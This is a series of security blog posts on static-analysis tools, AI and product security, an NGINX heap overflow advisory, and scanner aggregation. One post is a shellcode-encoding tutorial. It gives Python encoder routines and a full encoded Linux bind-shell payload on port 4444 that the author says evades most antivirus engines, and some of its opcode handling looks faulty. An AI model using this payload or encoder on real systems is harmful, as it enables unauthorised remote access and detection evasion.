What strikes me now, almost twenty years later, is that vulnerability detection itself was never the part of the problem that interested me most. Identifying the use of a dangerous API can be useful, but even in the early versions of Orizon I was already moving toward a different problem: building enough of a representation of the program that security analysis could operate on something richer than text.
That distinction explains a surprising amount of my open-source work since then.
The architecture grew considerably during the first years of Orizon. By 2008, language-specific translators were expected to parse the source and expose different views of the application to the rest of the engine. The old architecture contained interfaces like these:
public abstract boolean callGraphService(String in, String out);
public abstract boolean dataFlowService(String in, String out);
public abstract boolean controlFlowService(String in, String out);
public abstract boolean designService(String in, String out);
The implementation is obviously a product of its time. XML was used extensively as an intermediate representation, Java compiler APIs provided the AST and the abstractions I would choose today would be very different. The interesting part is not the API design, though. It is the separation that the API was trying to establish.
Parsing the language and describing the program were one problem; applying security reasoning to that representation was another.
The 2008 Orizon architecture described a complete static review as a combination of local control-flow analysis, global call-graph analysis, taint propagation and statistics. It also explicitly described building ASTs before generating representations for variable tracking, control flow and the global call graph. That was a rather ambitious design for a spare-time open-source project, perhaps more ambitious than I understood at the time, but the underlying idea has aged better than much of the implementation.
The OWASP Orizon Framework architecture
By 2010 I had isolated the modeling problem even further. Mirage had become the part of Orizon I cared about most, and in a short project update I wrote something that I had completely forgotten until recently:
“Without a good modeling engine a static analysis tool doesn’t make sense.”
Modeling thoughts before the change
That statement matters to me today because it makes the continuity difficult to dismiss as hindsight. I was explicitly treating source-code modeling as the prerequisite for useful security analysis sixteen years ago.
A few months later I was considering rewriting Mirage around ANTLR and separating it from Orizon altogether. The reasoning was that a multi-language application modeler could be useful independently from security analysis. I wrote that when a reliable source code modeler existed, implementing a security scanning engine over it would become a comparatively affordable task.
Getting ready for a radical change
I would phrase that differently today. Security analysis does not magically become easy once parsing and modeling are solved, because the model itself depends heavily on the security questions you want to answer. Nevertheless, the architectural instinct was already there: the interesting layer was not the collection of vulnerability signatures, but the representation that allowed the engine to reason about them.
A few years later, Dawnscanner went in a much more pragmatic direction. Instead of trying to solve general source-code modeling, I concentrated on Ruby applications, the frameworks developers were actually using and a security knowledge base that could be continuously extended.
The README still describes that very concrete scope: detect the Ruby and framework environment, apply checks appropriate to Rails, Sinatra or Padrino, inspect dependencies and gradually improve the analysis of application code itself.
The engine reflects the same philosophy. Once the knowledge base has been loaded, its core job is deliberately straightforward:
@checks.each do |check|
if checks_to_be_skipped.include?(check.name)
$logger.info("skipping security check #{check.name}")
else
_do_apply(check)
end
end
There is something important in that simplicity. Dawnscanner taught me a lesson that the more architectural Orizon never really could: developers do not adopt an architecture, they adopt a tool that does something useful for them.
The knowledge base had to be maintainable. Checks needed to represent real vulnerabilities. Installation mattered, reporting mattered, false positives mattered, and integration with the way Ruby applications were actually built mattered. Over time Dawn accumulated hundreds of security checks and became a real tool rather than an experiment in program analysis.
In 2016, when I briefly returned to Orizon, I actually described that connection myself. I wrote that after successfully starting a similar tool for Ruby, Dawnscanner, I wanted to bring Orizon back to the community. What I did not appreciate at the time was that the two projects had taught me almost opposite lessons about the same field.
This is a story of an endless love — 2016
Orizon made me care about the model underneath the analysis. Dawnscanner made me care about whether the resulting tool was actually useful to the person reviewing the software.
For years I treated those as separate chapters.
DRSource currently describes itself as an extensible, multi-language SAST tool. That is an accurate description of what the repository contains today: regex-based rules coexist with AST-based analysis, there is a configurable knowledge base, and Java, Python and JavaScript/TypeScript analyzers implement increasingly sophisticated forms of data-flow tracking.
What interests me about the project, however, is increasingly the machinery underneath those features.
One of the small but important pieces is a project-wide index used by the taint analyzers:
@dataclass
class FunctionDefinition:
name: str
file_path: str
node: Any
language: str
class ProjectIndex:
"""
A global index of all functions and classes discovered across the project.
Used for inter-file taint analysis.
"""
def __init__(self):
self.functions: Dict[str, FunctionDefinition] = {}
def find_function(self, name: str) -> Optional[FunctionDefinition]:
return self.functions.get(name)
There is nothing particularly sophisticated about that class yet, and that qualification is important. Proper cross-file analysis eventually requires much stronger symbol resolution, namespaces, classes, overload handling and a much richer understanding of call relationships than a dictionary keyed by a function name can provide.
Conceptually, though, this is where the project begins to become interesting to me.
When the Java analyzer encounters a call that it cannot resolve locally, it can ask the project index for a definition elsewhere in the codebase and continue the analysis inside that function:
func_def = self.functions.get(method_name)
if not func_def and self.project_index and self.depth < self.max_depth:
global_def = self.project_index.find_function(method_name)
if global_def and global_def.language == "java":
func_def = global_def.node["node"]
target_file = global_def.file_path
target_code = global_def.node["code"]
self._simulate_call(
node,
func_def,
method_name,
target_file,
target_code,
)
The simulated call can then map tainted arguments to parameters in the called function and continue walking its body:
if taint:
loc = (
f"in {os.path.basename(target_file)}"
if target_file
else "locally"
)
tainted_params[p_name] = {
"source": taint["source"],
"trace": taint["trace"] + [
f"Passed to {method_name}() {loc}"
],
}
...
if tainted_params:
body = func_node.child_by_field_name("body")
if body:
v = TaintVisitor(
list(self.sources),
[{"name": n, "args": a} for n, a in self.sinks.items()],
list(self.sanitizers),
t_code,
self.project_index,
self.depth + 1,
initial_scope=tainted_params,
)
v.visit(body)
self.vulnerabilities.extend(v.vulnerabilities)
This is still an early implementation, but the direction is much closer to the problem that originally interested me in Orizon than to simply adding another vulnerability signature. DRSource already tracks tainted values across files, distinguishes object fields, propagates constants, recognises sanitizers and incorporates framework-specific knowledge about sources and sinks.
Those capabilities are useful individually, but I see them primarily as pieces of a program model.
Consider SQL injection. Finding a call to a database execution API is straightforward, but during a real security review that is rarely the question I am trying to answer.
I need to establish whether attacker-controlled data can reach that call.
That means finding the input boundary and following the value through the application. It may enter through an HTTP request, become an argument to a controller method, be copied into an object, pass into a service, cross another file boundary and eventually be combined into a query inside a repository class. Along the way I need to know whether the value was replaced by a constant, constrained by a type conversion, processed by a sanitizer or otherwise transformed in a way that changes the security conclusion.
A human code reviewer reconstructs that context continuously. We jump between definitions, follow variables and fields, recognise framework conventions and keep a partial model of the execution path in our head while deciding which branches deserve more attention.
This is why I increasingly find the traditional concept of a SAST “finding” too small.
The fact that a dangerous function appears at a particular line is evidence, but it is not the analysis. The useful object is the path that connects a security-relevant input to that operation and explains what happened in between.
For DRSource, that distinction has consequences for the architecture. If the useful output is a path rather than a match, then symbol resolution matters more. Calls and returns matter more. Field tracking matters more. Framework semantics matter more. Sanitizers and barriers become part of the evidence rather than exceptions sprinkled into individual rules.
The tool needs to know enough about the program to reconstruct that path with a level of confidence that makes the result useful to somebody who understands the code.
That is what I mean by code understanding.
The expression deserves some precision because “understanding code” has become rather overloaded, particularly now that almost every developer tool is being connected to a language model.
I am not claiming that DRSource understands a program in the human sense, nor do I think that placing an LLM in front of a repository removes the need for program analysis.
For the security problems I care about, understanding means constructing an explicit model that preserves the relationships required to answer a question. Depending on the analysis, that model might need symbols, scopes, calls, arguments, return values, object fields, sources, sinks, sanitizers, control-flow information and framework semantics.
It will always be incomplete. Static analysis has always involved approximating program behaviour without executing every possible path through the program.
The useful engineering question is therefore not whether the analyzer can completely understand the software. It is whether its representation is precise enough to answer a particular security question while introducing an acceptable amount of noise.
That is a much more interesting problem to me than counting the number of vulnerability classes supported by the scanner.
Looking backwards creates a dangerous temptation to turn a sequence of experiments into a carefully planned journey. That is not what happened here.
There was no twenty-year roadmap.
Orizon changed direction several times and eventually stopped. Dawnscanner was built with very different priorities. My day jobs changed, my interests moved through other areas of security and software engineering, and there were long periods when static analysis was not the project occupying my spare time.
I even wrote about this lack of linearity at the time. In 2010 I admitted that maintaining a detailed roadmap for a spare-time open-source project was largely pointless because professional work, family and other projects inevitably competed for the same time.
Getting ready for a radical change
The continuity is therefore not in the repositories.
It is in the problem.
In 2006, Orizon started by parsing source code into a representation that a security engine could consume. By 2010, I was explicitly treating the source-code modeler as the prerequisite for the analyzer I wanted to build.
Dawnscanner then taught me to narrow the scope, encode useful security knowledge and build something that developers could actually run.
Today DRSource is putting those two experiences in the same place. The project is still young and its program model is nowhere near as complete as I want it to become, but I now have a much clearer idea of what I want to optimize for.
I do not want DRSource to become interesting because it reports more findings than another scanner. I want it to become interesting because it can explain increasingly non-trivial security paths through real applications, and because the explanation contains enough evidence for a reviewer to decide whether the path matters.
Reading my own notes from 2010 made me realise that this is not a new obsession.
I have apparently been trying to build some version of this engine since 2006. The difference is that twenty years of writing scanners, reviewing code and watching developers deal with security tooling have made the target considerably clearer.
The hard problem was never spotting the dangerous function.
It was building enough of the program around it to understand why it was dangerous.
]]>For Product Security, I think the answer is more interesting than a simple yes or no. AI probably will not eliminate Product Security, but it will automate a significant portion of what many Product Security engineers do today. And that distinction matters.
One of the strange assumptions behind the “AI will replace security engineers” argument is that AI will somehow reduce the amount of software we need to secure. I believe the opposite is happening.
AI makes software cheaper and faster to produce. Developers can generate prototypes in hours, teams can create internal tools that would previously never have justified the engineering cost, and AI agents can write integrations, infrastructure definitions, configuration files, scripts, tests, and entire application components.
Which means one thing: more software.
And more software means:
more code → more dependencies → more APIs → more configurations → more attack surface.
The amount of code requiring security scrutiny is unlikely to decrease. It may explode. The difference is that security teams will no longer be able to review that code using the same processes they used before.
AI does not just increase the volume of traditional software. It introduces entirely new security boundaries.
We now have to think about things such as prompt injection, agent authorization, agent identity, excessive agency, tool abuse, confused deputy problems, secrets exposure, AI supply-chain security, model and data poisoning, MCP security, sandboxing, privilege boundaries, provenance, and generated-code vulnerabilities.
Many of these are not entirely new security concepts. Authorization is not new. Privilege separation is not new. Confused deputy attacks are certainly not new. Supply-chain security is not new either.
What is new is the way AI systems recombine these problems in architectures where software can reason, select tools, access resources, and perform actions on behalf of users.
An LLM that only generates text has a limited blast radius. An agent that can read your repository, access Jira, query production systems, call internal APIs, retrieve secrets, and execute tools is a completely different security problem.
At that point, we are no longer discussing only model security. We are discussing system security.
And system security is exactly where Product Security should live.
There is, however, one kind of Product Security work that AI is extremely well positioned to automate:
scanner → finding → Jira ticket
If most of your job consists of running security tools, reading their output, performing basic classification, and opening tickets for developers, AI is coming directly for that workflow.
And perhaps it should.
A modern security pipeline can already run SAST, SCA, secret scanning, and IaC analysis; correlate findings from multiple scanners; remove duplicates; retrieve the surrounding source code; estimate whether vulnerable code is reachable; explain the issue; suggest a remediation; generate a candidate patch; generate tests for that patch; create the ticket; and assign it to the likely owner.
The human value in moving information from a scanner into Jira is rapidly approaching zero.
Adding an LLM to a bad vulnerability-management process does not magically create good Product Security. It just creates Jira tickets faster.
Historically, finding vulnerabilities required significant expertise, and that expertise created scarcity. Security engineers knew specialized tools, attack techniques, vulnerability patterns, and obscure implementation details that most developers did not.
AI is reducing that scarcity.
It can explain vulnerabilities, generate attack hypotheses, analyze source code, suggest payloads, identify suspicious data flows, and correlate enormous amounts of information much faster than a human reviewer.
So the economic value of simply finding something suspicious will probably decrease.
But finding a vulnerability was never the highest form of Product Security anyway.
The real value is understanding whether it matters, whether it can actually be exploited, what an attacker can control, what the blast radius is, which trust boundary has been crossed, what architectural decision created the problem, what the safest fix is, and how to prevent the same vulnerability class from appearing fifty more times.
That is where Product Security becomes engineering.
Now consider a different workflow:
threat model → architectural review → exploitability analysis → mitigation design → patch → guardrail/tooling
This is a very different job.
The important question is no longer:
Is this line of code vulnerable?
It becomes:
Should this system have been designed this way in the first place?
That requires understanding architecture, trust boundaries, component interactions, attacker-controlled inputs, operational constraints, performance, usability, backwards compatibility, and engineering cost.
And sometimes the answer is not a vulnerability ticket. Sometimes the answer is to change the architecture, reduce the privilege of a component, remove access to a tool, enforce a separate authorization decision, prevent data from crossing a trust boundary, or build a guardrail so that an entire class of vulnerabilities becomes difficult to introduce again.
That is a very different kind of Product Security engineering.
And it is much harder to reduce to a scanner pipeline.
There is another consequence: the Product Security engineer of the AI era should probably be more technical, not less.
Security teams will increasingly need people capable of transforming security knowledge into engineering leverage. That means writing security libraries, secure defaults, policy-as-code, CI/CD guardrails, static-analysis rules, automated code-review tooling, security tests, sandboxing mechanisms, authorization frameworks, and developer tooling.
Instead of manually finding the same vulnerability one hundred times, encode the knowledge that detects or prevents it.
If you discover a dangerous pattern during a code review, do not stop at opening a ticket. Ask whether you can make the pattern impossible, detectable, or at least expensive to reintroduce.
That is how Product Security scales.
And AI makes this approach even more powerful because security engineers themselves can use AI to build these tools faster.
This is probably the transformation that matters most.
The old model of Product Security often treated the security engineer as a specialist sitting downstream of development: engineering builds, security reviews, security finds problems, engineering fixes them, and the cycle repeats.
That model does not scale particularly well today. It will scale even worse when AI dramatically increases software output.
The Product Security engineer of the future needs to become a security multiplier: someone who can take one security insight and turn it into a system-level improvement.
Find one vulnerability. Understand the underlying pattern. Fix the vulnerable implementation. Build the test. Create the static-analysis rule. Improve the framework. Change the secure default. Update the threat model. Create a guardrail.
Now the lesson from one vulnerability protects hundreds of future code paths.
That is leverage.
And leverage is precisely what security teams will need when the amount of generated software increases.
It changes where the valuable work happens.
The security engineer who manually performs tasks that can be expressed as:
input → deterministic analysis → classification → ticket
should probably be worried.
The security engineer who operates at the intersection of:
software architecture + attacker thinking + secure design + exploitability + engineering
has a much stronger position.
AI will automate parts of that work too. Good.
Let it analyze thousands of findings, generate candidate patches, summarize dependency changes, inspect massive codebases, produce test cases, and correlate scanner output. Let it handle the repetitive parts.
Then use the freed capacity to work on the problems that actually require security engineering judgment.
Because the future of Product Security is not spending the day staring at scanner dashboards. It is helping engineering teams build systems where entire classes of vulnerabilities become harder to create.
Maybe. But probably not for the reason people think.
The Product Security engineer who mainly operates a pipeline like:
scanner → finding → Jira ticket
is vulnerable to automation.
The Product Security engineer who works like this:
threat model → architecture → exploitability → mitigation → patch → guardrail
is not disappearing. That role is becoming more important.
AI does not reduce the attack surface. It expands it. It does not remove architectural complexity. It adds new trust boundaries. And it does not eliminate the need for security judgment.
It makes security teams responsible for protecting systems that can act, decide, retrieve, execute, and delegate at a scale we have never had before.
Finding vulnerabilities is becoming cheaper.
Understanding why a system is exploitable — and redesigning it so the vulnerability class disappears — is not.
That is the Product Security engineer I would bet on.
]]>That is precisely why the recent disclosure of NGINX Rift and the follow-up NGINX PoolSlip vulnerabilities should worry defenders far beyond the usual patch cycle.
What started as a critical heap overflow buried in the rewrite engine quickly evolved into something much larger: a reminder that memory-unsafe infrastructure software can become a single point of systemic Internet risk.
Researchers disclosed CVE-2026-42945, nicknamed NGINX Rift, a critical heap buffer overflow affecting the ngx_http_rewrite_module.
The flaw reportedly existed in the codebase since 2008.
Affected versions included:
0.6.27 → 1.30.0R32 → R36The vulnerability is triggered through specific rewrite configurations involving:
$1, $2)?Under the right conditions, attackers could achieve:
without authentication.
The frightening part was not just the bug itself.
It was where the bug lived.
NGINX rewrite logic sits directly on the edge of infrastructure:
In many environments, rewrite rules are treated as harmless operational plumbing.
In reality, they became an Internet-facing attack surface capable of memory corruption.
Even worse, exploitation was reportedly achievable through ordinary HTTP requests.
The vulnerability allowed crafted requests to manipulate heap memory inside internal NGINX request structures.
In practical terms:
That turns a reverse proxy into a potential RCE primitive.
As administrators rushed to patch Rift, a second issue emerged:
NGINX PoolSlip
PoolSlip targets NGINX request memory pools (ngx_pool_t) and explores a different exploitation path in the memory allocator and cleanup chain.
The key concern is architectural:
Fixing one memory corruption path did not eliminate the underlying unsafe design patterns.
PoolSlip reportedly enables:
through alternative rewrite-driven execution flows.
These vulnerabilities expose a broader truth:
Modern Internet infrastructure still relies heavily on memory-unsafe C code.
NGINX is fast because of:
But these same decisions create long-lived attack surfaces that are extremely difficult to eliminate completely.
Configuration is code.
Rewrite rules are not harmless routing logic — they are part of the execution surface.
Risky patterns include:
rewrite ^/user/(.*)$ /profile.php?id=$1?;
set $target $1;
Regex capture groups and variable interpolation can turn configuration into a memory corruption trigger.
Apply vendor patches for your NGINX distribution or fork.
Look for:
Move routing logic out of NGINX when possible.
Watch for:
NGINX became critical infrastructure because it is fast and flexible.
But flexibility built on unsafe memory handling comes at a cost.
Rift exposed how rewrite logic can become a corruption surface. PoolSlip showed how quickly adjacent paths emerge.
The lesson is simple:
]]>The edge is not just traffic routing anymore. It is executable infrastructure.
What’s hard is making sense of their output.
If you’ve ever tried combining results from multiple scanners, you already know the problem:
duplicated findings inconsistent severity models noisy reports no clear way to prioritize risk
Signal Engine 0.3.0 is a step toward fixing that.
Not by adding more scanners — but by turning raw findings into something you can actually reason about.
At the core of this release is one fundamental change: signal engine now speaks SARIF natively.
This means it can ingest results from tools like:
All normalized into a consistent internal model.
Different tools. Different formats. One pipeline.
Running multiple tools usually creates overlap. Same issue. Slightly different location. Different tool.
Before 0.3.0, that noise was your problem. Now it’s handled by the engine.
A new dedup command introduces proximity-based deduplication, powered by a
clustering algorithm that groups findings within a configurable line threshold.
This is not string matching. This is context-aware deduplication.
Because in real codebases, the same vulnerability rarely appears exactly on the same line.
The new smart_cluster algorithm changes how findings are interpreted.
Instead of treating each issue as isolated, Signal Engine groups them into clusters of related risk.
This enables:
It’s the difference between:
“You have 37 issues”
and
“You have 3 risky zones in your codebase”
One of the most important additions in this release is the hotspots command.
It introduces a simple but powerful idea: risk is not just severity; it’s density.
Signal Engine now calculates a risk score per 1000 lines of code, combining:
This surfaces the areas where:
Not all files are equal. Now you can see which ones matter.
Severity is no longer just a label.
It’s now part of a weighted scoring model:
This feeds directly into hotspot detection and analytics. A single critical issue is not the same as ten informational warnings, and your tooling should reflect that.
Real-world tool output is messy.
This release improves ingestion across the board:
runs[])In short: less preprocessing, more analysis.
Signal Engine is still a CLI tool — but now it’s one you actually want to use.
The goal wasn’t aesthetics. It was readability under pressure.
A lot changed to support this direction:
Less duplication. More coherence.
Signal Engine is evolving toward a clear goal: make multi-tool security analysis understandable.
Not louder. Not bigger. Sharper.
]]>Modern application security is no longer about running a single scanner.
It’s about coordinating multiple engines, covering different ecosystems, and extracting consistent signals from heterogeneous outputs.
That coordination problem is what led to the creation of Soak.
Soak is a zero-dependency Docker image that aggregates a curated set of open-source security scanners into a single, reproducible execution environment.
Its purpose is simple:
Provide deep-tissue static analysis through a unified, containerized execution layer.
ecurity scanners are powerful — but fragmented.
Each tool:
Managing multiple scanners across local development, CI, and production becomes operationally expensive.
If your execution layer is unstable, everything built on top of it becomes unreliable.
Soak removes that instability.
Soak is:
It is intentionally:
If you have Docker, you can run Soak. Nothing else is required.
Soak performs what we call deep-tissue static analysis.
Instead of running one scanner, it:
This provides multi-layer visibility across:
All from a single execution context.
Soak bundles a broad range of open-source tools across ecosystems:
This provides horizontal coverage across application, dependencies, configuration, and container layers.
Soak follows a clear internal structure:
Detection Layer - Identifies project language and ecosystem metadata.
Execution Layer - Runs relevant scanners inside the container in isolation.
Aggregation Layer - Collects raw JSON outputs and produces soak_summary.json.
This separation allows Soak to act as a pure execution component that can integrate seamlessly with higher-level orchestration systems.
Running Soak is intentionally simple:
soak /home/user/my-awesome-project
Behind the scenes, the container mounts the target repository, performs detection, executes scanners, and writes a structured summary file.
Because the entire runtime is containerized:
This dramatically reduces environmental inconsistencies.
Within the ArmoredCode ecosystem, Soak serves as the execution layer behind Signal-Engine.
The architectural separation is deliberate:
Soak does not:
It generates structured, multi-engine signals.
Signal-Engine transforms those signals into intelligence.
Many scanners provide official Docker images.
However, using them independently introduces:
Soak centralizes the contract.
Instead of managing N scanner containers, orchestration systems interact with one unified execution environment.
This reduces complexity and increases control.
Soak executes scanners against potentially untrusted code.
Therefore:
Execution should not increase the attack surface.
Isolation is a design principle, not an afterthought.
Security analysis at scale requires architectural discipline.
Execution, ingestion, correlation, and scoring must be separated.
Soak exists to make the execution layer:
It provides deep-tissue static analysis through a single, consistent interface.
And in a fragmented scanner ecosystem, consistency is power.
]]>Turning security tool outputs into actionable insights is one of the biggest challenges for developers and security engineers. In this post, I’m sharing a minimal viable product (MVP) that takes Semgrep scan outputs and visualizes: top rules, the most affected files, and clusters of related findings.
This MVP is just the start. The ultimate goal is a full tool, I will call it Signal Engine, that can:
The demo shows a minimal but immediately usable implementation of this approach.
If you want to explore this workflow with your own Semgrep outputs, this MVP provides a fast way to see patterns, prioritize rules, and focus on what really matters in your code security scans.
The code is AGPLv3 licensed and released here: https://github.com/thesp0nge/mvp_semgrep
]]>Not all vulnerabilities are created equal. A SQL Injection in an internal endpoint is not the same as a remote code execution exposed publicly. Yet, reports often treat them as equivalent, highlighting all “critical” issues with the same weight. The result? Security teams waste time chasing false alarms or low-impact issues, while the real threats remain in the shadows.
Every scanner produces false positives. Some are obvious, others less so. When a team is flooded with alerts, the tendency is either to ignore them all or blindly trust what the tool labels as “critical.” This approach is dangerous: the real risk isn’t just missing vulnerabilities—it’s failing to understand which ones actually matter.
This is where humans come in: they are not tools, but interpreters. A security advocate understands the business context, knows the system architecture, and can assess the real impact of a vulnerability. With this knowledge, they can prioritize effectively and turn a confusing list of alerts into a concrete, actionable mitigation plan.
AI can help reduce noise, group similar alerts, and suggest priorities. But without human judgment, even the smartest algorithm is just a calculator without context. Real power comes from the combination: intelligent tools and equally intelligent people.
Tools are useful, but they don’t replace human understanding. To truly protect our applications, we must read between the lines of reports, understand context, and put humans at the center of the security process.
The next step? We’ll explore how to optimize tool usage without being fooled by noise, and how to build smarter, more conscious security pipelines.
]]>I’ve seen teams spend weeks chasing false positives, patching things that weren’t critical, while the real vulnerabilities quietly slipped through the cracks.
Here’s the hard truth:
This isn’t just frustration—it’s a failure in how we communicate security.
Over the coming weeks, I’ll share ways to focus on the signals that truly matter, how to aggregate, contextualize, and act on security findings, and why most “tools” fail to do that.
If you care about fixing the right problems, follow Armored Code. The goal isn’t just security—it’s effective security.
]]>This brilliant talk by @muts, lead us to get in touch with a new encoding technique. When you can’t directly write words on the stack, due to bad characters, you can eventually let a register to contained the desired word and then push the register into the stack.
As you can see from the video taken at Defcon 16, the code exploits the fact that after the shellcode it has been written into the stack, very close to the encoded payload, the execution flow continues until the decoded shellcode it has been found.
Boom.
All the magic happens in two different pieces.
We can’t use XOR to init a register to zero. So we use math here and some AND property to apply to reset all bits in our register.
On shellerate I created a zero_with_and routine. The basic idea is to get a random 32 bits value, calculating its NOT and then build the shellcode. When the register it has been put in AND with those two values, it will be set to zero.
def zero_with_and(reg="eax", badchar=[]):
while True:
first_and = secrets.token_hex(4)
n_b = bin(int(first_and, 16))
n_b_2 = bit_not(int(n_b, 2), 32)
if n_b_2 > 0:
break
second_and = format(n_b_2, 'x').zfill(8)
logging.debug("First AND: %s" % first_and)
logging.debug("Second AND: %s" % second_and)
first_and_hex = strings.from_string_to_payload(strings.swap(first_and))
second_and_hex = strings.from_string_to_payload(strings.swap(second_and))
if reg == "eax":
return "\\x25"+first_and_hex+"\\x25"+second_and_hex
if reg == "ebx":
return "\\xb1\\xe3"+first_and_hex+"\\xb1\\xe3"+second_and_hex
if reg == "ebx":
return "\\xb1\\xe3"+first_and_hex+"\\xb1\\xe3"+second_and_hex
if reg == "ecx":
return "\\xb1\\xe1"+first_and_hex+"\\xb1\\xe1"+second_and_hex
if reg == "edx":
return "\\xb1\\xe2"+first_and_hex+"\\xb1\\xe2"+second_and_hexWe can’t write a word on the stack because of a restricted alphabet. We will get rid of this by calculating the two-complement of the word we want to write and by finding 2 or 3 values that when added will result in our word’s complement.
Those values will be subtracted from EAX register, after it has been set to 0. At the end, EAX will be set to the desired word and it can be pushed into the stack.
def generate_add_eax_sum_shellcode(result):
compl_two = int("FFFFFFFF", 16) - int(result, 16) + 1
c = find_encoded_sequence(compl_two)
c2_h = "0x{:08x}".format(compl_two)
f = ["".join(["{:02x}".format(j) for j in list(i)]) for i in zip(*c[::-1])]
f_sum = "0x{:08x}".format(sum([int(i, 16) for i in f]) % (2**32))
if (c2_h != f_sum):
logging.warning("can't find a good encoded sequence using 2 operands... trying with 3")
c = find_encoded_sequence(compl_two, True)
f = ["".join(["{:02x}".format(j) for j in list(i)]) for i in zip(*c[::-1])]
f_sum = "0x{:08x}".format(sum([int(i, 16) for i in f]) % (2**32))
if(c2_h != f_sum):
logging.error("can't find a good encoded sequence. Please consider changing this shellcode sequence" + result)
return ""
logging.debug("obtaining 0x{0} with this ASM sequence".format(result))
for i in ("554e4d4a", "2a313235"):
logging.debug("AND EAX, 0x{0}".format(i))
for j in f:
logging.debug("SUB EAX, 0x{0}".format(j))
logging.debug("PUSH EAX")
shellcode = asm_x86.zero_with_and("eax")
for i in f:
shellcode += "\\x2d" + strings.from_string_to_payload(strings.swap(i))
shellcode+="\\x50"
return shellcodeThe whole generate.py source code is available on this gist.
This can be a really good shellcode encoding mechanism. That’s why I automated this process and integrated it with shellerate.
I asked my framework to generate a bind shell shellcode for Linux operating system. The shell will listen on port 4444 for incoming connections.
Than I padded my shellcode, since I want to operate on 4 bytes long words and I splitted my shellcode into words.
I encoded all the words using a restricted allowed charset alphabet and I eventually appended a jump ESP call in order to use my shellcode in a C helper like this:
#include<stdio.h>
#include<string.h>
unsigned char code[]="\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x54\x58\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x02\x01\x01\x01\x2d\x7e\x6e\x6e\x6e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x32\x01\x01\x36\x2d\x7e\x01\x75\x7e\x2d\x7e\x4c\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x01\x01\x01\x2d\x6e\x4e\x01\x4f\x2d\x7e\x7e\x34\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x01\x2d\x6d\x65\x60\x75\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x52\x2d\x5c\x66\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x32\x31\x52\x52\x2d\x7e\x66\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x09\x01\x50\x01\x2d\x7e\x05\x7e\x3e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x43\x01\x01\x38\x2d\x7e\x31\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x02\x01\x01\x01\x2d\x7e\x4f\x01\x01\x2d\x7e\x7e\x3d\x4d\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x50\x01\x01\x2d\x3c\x7e\x35\x4d\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x35\x01\x01\x2d\x6f\x7e\x01\x01\x2d\x7e\x7e\x7c\x74\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x36\x01\x31\x01\x2d\x7e\x01\x6f\x01\x2d\x7e\x73\x7e\x73\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x01\x01\x2d\x31\x7e\x31\x01\x2d\x62\x7e\x7c\x74\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x36\x01\x2d\x31\x7e\x7e\x01\x2d\x63\x7e\x7e\x7c\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x50\x01\x2d\x32\x7e\x7e\x35\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x31\x01\x01\x2d\x01\x6f\x01\x70\x2d\x75\x7e\x4a\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x31\x31\x31\x7e\x2d\x72\x67\x63\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x70\x2d\x7e\x68\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x01\x01\x2d\x31\x7e\x4f\x01\x2d\x65\x7e\x7e\x34\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x32\x7e\x75\x3b\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x02\x2d\x01\x7e\x01\x7e\x2d\x4b\x7e\x4c\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x02\x2d\x31\x01\x31\x7e\x2d\x68\x45\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x76\x3d\x75\x3c\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x01\x01\x2d\x7e\x3e\x75\x3b\x50\xff\xe4";
int main(int argc, char **argv)
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}Please note that I wrote my shellcode in a reverse order, from the last word to the first. This way, since the stack is growing backwards, the ESP register will point to the beginning of my decoded shellcode at the end of the process.
You can see the process in action here. As you can see, the shellcode is working and a bind shellcode was listening on port 4444.
What about anti virus tool then? I submitted my a.out file to Virus Total and only 3 engines out of 58 detected my encoded shellcode: pretty sweet result.
Next steps will be:
On boot, dawnscanner will check if it has a unique identifier and if not it will ask for one to the telemetry system.
get '/new' do
i = Id.new
i.uuid = Id.get_new_id
i.save
content_type :json
{:uuid => i.uuid }.to_json
endId is an ActiveRecord class for the identifier model.
require 'securerandom'
class Id < ActiveRecord::Base
def self.get_new_id
return SecureRandom.uuid
end
